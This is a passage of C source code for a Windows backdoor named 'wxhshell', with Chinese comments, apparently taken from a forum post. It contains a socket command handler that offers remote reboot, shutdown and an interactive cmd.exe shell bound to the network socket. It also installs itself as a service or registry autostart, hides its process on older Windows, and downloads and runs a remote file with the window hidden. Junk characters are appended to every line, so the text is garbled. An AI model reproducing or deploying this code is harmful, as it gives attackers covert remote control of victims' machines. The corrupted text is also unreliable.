  else { 8^T' a^Wt  
?~$y3<[  
    switch(cmd[0]) { 2-]m#}zbP  
  {)+/w"^.  
  // 帮助 <"-sN  
  case '?': { |67UN U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *m7e>]-  
    break; ZISR]xay  
  } ;-3M  
  // 安装 ,AJd2ix  
  case 'i': { aPbHrk*/  
    if(Install()) uo0(W3Q *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r=vE0;7  
    else 2b<0g@~X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z}5XLa^  
    break; \%K6T)9  
    } _T1e##Sq,  
  // 卸载 T@L^RaPX  
  case 'r': { ixp%aRRP  
    if(Uninstall()) ;J4_8N-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `f (!i mN  
    else *]rV,\z:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o,d:{tt  
    break; 90q*V%cS  
    } W uQdz&s>  
  // 显示 wxhshell 所在路径 *Q)+Y&qn  
  case 'p': { \(u P{,ML  
    char svExeFile[MAX_PATH]; + 7Z%N9  
    strcpy(svExeFile,"\n\r"); NIgt"o[I  
      strcat(svExeFile,ExeFile); Gce![<|ph  
        send(wsh,svExeFile,strlen(svExeFile),0); ow&R~_  
    break; vt1!|2{ h  
    } d"V^^I)yx&  
  // 重启 I;No++N0  
  case 'b': { 3[c54S+(U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Tl|v'   
    if(Boot(REBOOT)) %T&kK2d;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MT3UJ6~P  
    else { M|\ XFO  
    closesocket(wsh); qU}[( 9~Ru  
    ExitThread(0); g ,.iM8  
    } wBr0s *1I  
    break; <fP|<>s$@1  
    } J9o ]$.e  
  // 关机 /rquI y^  
  case 'd': { #PiW\Tq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6pH.sX$!_  
    if(Boot(SHUTDOWN)) !#'*@a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6(eyUgnb  
    else { )!0>2,R1  
    closesocket(wsh); U+\\#5$  
    ExitThread(0); ZqSczS7uf  
    } i6[Hu8  
    break; Ts.6 1Rx  
    } oRCj]9I$  
  // 获取shell f>Ge Em~  
  case 's': { + 5 05  
    CmdShell(wsh); G-Y8<mEh  
    closesocket(wsh); Baq&>]  
    ExitThread(0); s01n[jQ  
    break; 5YRa2#d  
  } AH;h#dT  
  // 退出 PJ);d>tz  
  case 'x': { [z/OY&kF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EayZ*e ]  
    CloseIt(wsh); .(! $j-B  
    break; Ygg+*z  
    } ?8`b  
  // 离开 d5h:py5  
  case 'q': { 5Ba eHzI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,}J(&  
    closesocket(wsh); q>,i `*  
    WSACleanup(); 1B2>8 N  
    exit(1); #HqXC\~n  
    break; JVN0];IL}  
        } l@':mX3xd  
  } 59GS:  
  } Z[ys>\_To  
:X+7}!Wlo  
  // 提示信息 &)1+WrU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KZ&{Ya  
} @<h@d_8^k  
  } H>2)R 7h  
  \\6/"  
  return; PKmr5FB  
} Y\s@'UoVN  
<&B)i\j8=b  
// shell模块句柄 G/b $cO}  
int CmdShell(SOCKET sock) Uh{|@D  
{ '?4B0=  
STARTUPINFO si; "HlT-0F  
ZeroMemory(&si,sizeof(si)); 1a`dB ~>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WSUU_^.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n%A)#AGGc  
PROCESS_INFORMATION ProcessInfo; u`g|u:(r  
char cmdline[]="cmd";  {ZB7,\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nzU^G)  
  return 0; "OkJPu2!W  
} Nv w'[?m  
!ouJ3Jn   
// 自身启动模式 |%Pd*yZA  
int StartFromService(void) CnN PziB  
{ ~8Z)e7 j  
typedef struct uvi+#4~G  
{ ,-D3tleu`  
  DWORD ExitStatus; Ns Pt1_ Y8  
  DWORD PebBaseAddress; 5*C#~gd& F  
  DWORD AffinityMask; 4'[/gMUkw  
  DWORD BasePriority; s>ilxLSX]  
  ULONG UniqueProcessId; n2cb,b/7  
  ULONG InheritedFromUniqueProcessId; ^i:%0"[*^i  
}   PROCESS_BASIC_INFORMATION; %d3qMnYu  
kocgPO5  
PROCNTQSIP NtQueryInformationProcess; FbhF45H  
<<4U:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jYI\.bc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $cflF@ 3  
@#rF8;  
  HANDLE             hProcess; g\:(1oY  
  PROCESS_BASIC_INFORMATION pbi; WWZ`RY  
P9c!   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); br`cxgZ0"  
  if(NULL == hInst ) return 0; ?NWc3 .  
-Q9} gaH_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^zn&"@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sN"<baZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l$ ^LY)i  
hT go  
  if (!NtQueryInformationProcess) return 0; 3RJsH :u8  
vq/3a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (l}W\iB' d  
  if(!hProcess) return 0; '*lVVeSiFw  
 >cw%ckE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gaV>WF  
Qh3BI?GZ'3  
  CloseHandle(hProcess); u0p[ltJ,  
RzhAX I=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KDxqz$14 -  
if(hProcess==NULL) return 0; -c4g;;%  
mBN+c9n/  
HMODULE hMod; =S#9\W&6Q  
char procName[255]; 9?]69O  
unsigned long cbNeeded; %^Zu^uu   
$\Oc]%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #83`T&Xw*  
7 x#QkImQ  
  CloseHandle(hProcess); []OmztB  
gxPu/VD4  
if(strstr(procName,"services")) return 1; // 以服务启动 e|> 5 R  
&Ql$7: r  
  return 0; // 注册表启动 #|8Ia:=s  
} >UNx<=ry  
z* k(` '  
// 主模块 |r['"6  
int StartWxhshell(LPSTR lpCmdLine) XCvL`  
{ Cg_9V4h.C  
  SOCKET wsl; u'`eCrKT*  
BOOL val=TRUE; .7BJq?K.  
  int port=0; AdD,94/  
  struct sockaddr_in door; J~}sQ{ 0  
ANWfRtiU#  
  if(wscfg.ws_autoins) Install(); z>]P_E~`}  
fQQj2> 3w  
port=atoi(lpCmdLine); ;-kC&GZf  
R`KlG/Tk  
if(port<=0) port=wscfg.ws_port; ` {/"?s|  
?mwa6]  
  WSADATA data; Y#[xX2z9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D,\hRQ  
 T_)G5a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ghGpi U$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pF/s5z  
  door.sin_family = AF_INET; q{Ao j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P"[\p|[U  
  door.sin_port = htons(port); k@Qd:I;;  
&ea6YQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dr K@y8  
closesocket(wsl); n{$! ]^>  
return 1; OMf w#  
} ,J(shc_F  
Y6G`p  
  if(listen(wsl,2) == INVALID_SOCKET) { 3!M|Sf<s  
closesocket(wsl); 'C7$,H'  
return 1; 70 -nAv  
} twMDEw#VL  
  Wxhshell(wsl); u+ b `aB  
  WSACleanup(); Z\r?>2  
zb3,2D+P  
return 0; i"#pk"@`  
Yz)+UF,  
} 4OeH}@a  
"% l``  
// 以NT服务方式启动 \AeM=K6q+D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i&^]qL|J  
{ AO]k*N,N  
DWORD   status = 0; w?V;ItcL  
  DWORD   specificError = 0xfffffff; Fe1XczB  
!?)aZ |r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )LAG$Cn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qh|fq b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6t=)1T  
  serviceStatus.dwWin32ExitCode     = 0; .WLwAL  
  serviceStatus.dwServiceSpecificExitCode = 0; u-M Td  
  serviceStatus.dwCheckPoint       = 0; #+&"m7 s  
  serviceStatus.dwWaitHint       = 0; tH=jaFJ   
ZZ>F ^t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %6\L^RP  
  if (hServiceStatusHandle==0) return; v, |jmv+:  
[}I|tb>Pg  
status = GetLastError(); 9zl-C*9vj  
  if (status!=NO_ERROR) MbxJ3"@  
{ Q[Gs%/>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (QTQxZ  
    serviceStatus.dwCheckPoint       = 0; 1}R\L"  
    serviceStatus.dwWaitHint       = 0; ^+w1:C5  
    serviceStatus.dwWin32ExitCode     = status; v:"Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; l} @C'Np  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Qq~lAJO;  
    return; Vkf c&+  
  } rn]F97v@]  
IdoS6   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !5 ?<QKOe  
  serviceStatus.dwCheckPoint       = 0; 3N ?"s1U  
  serviceStatus.dwWaitHint       = 0; iUbcvF3aP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _6m{zvyX>  
} Dtox/ ,"  
xFcW%m>9C  
// 处理NT服务事件,比如:启动、停止 ;OC{B}.vH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }{}?mQ  
{ wbB\~*Z)  
switch(fdwControl) #+H3b!8=  
{ :w]NN\  
case SERVICE_CONTROL_STOP: v}\Fbe  
  serviceStatus.dwWin32ExitCode = 0; d ATAH}r&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r6&+pSA>  
  serviceStatus.dwCheckPoint   = 0; @^%YOorr  
  serviceStatus.dwWaitHint     = 0; g_@b- :$Yq  
  { W=y9mW|p/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y()ZM  
  } MoXai0d%  
  return; jX .' G   
case SERVICE_CONTROL_PAUSE: YZAQt* x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +TAyCxfmt  
  break; ]c1#_MW  
case SERVICE_CONTROL_CONTINUE: kzVK%[/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wlQ @3RN>  
  break; p+228K ;H  
case SERVICE_CONTROL_INTERROGATE: .l,]yWwfK  
  break; Y4+iNdd  
}; *x_e] /}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )X3 |[4R  
} V@+X4`T  
h1y3gl[;TD  
// 标准应用程序主函数 {mY=LaS<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LVy`U07CV  
{ =3nA5'UZ  
vR (nd  
// 获取操作系统版本 vuZ'Wo:S{  
OsIsNt=GetOsVer(); ]F"P3':  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  He%v4S  
>3,}^`l  
  // 从命令行安装 @YVla !5O@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^9]g5.z:  
H6Ytp^~>  
  // 下载执行文件 _0y]U];ce  
if(wscfg.ws_downexe) { OKAmw >{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WHqw=! G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ps^["3e  
} *uSlp_;kB  
ZENblh8fs  
if(!OsIsNt) { OnyAM{$g  
// 如果时win9x,隐藏进程并且设置为注册表启动 T+PERz(  
HideProc(); ~>Y^?l  
StartWxhshell(lpCmdLine); Y5y7ONcn  
} ;X:Bh8tEV  
else 8K@e8p( y  
  if(StartFromService()) oN)I3wO$  
  // 以服务方式启动 RRro.r,  
  StartServiceCtrlDispatcher(DispatchTable); d6ifJ  
else ] K+8f-  
  // 普通方式启动 `<#O8,7`  
  StartWxhshell(lpCmdLine);  N!Xn)J  
"([lkn  
return 0; 3m~,6mQ  
}
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只看该作者 1 发表于: 2006-10-10
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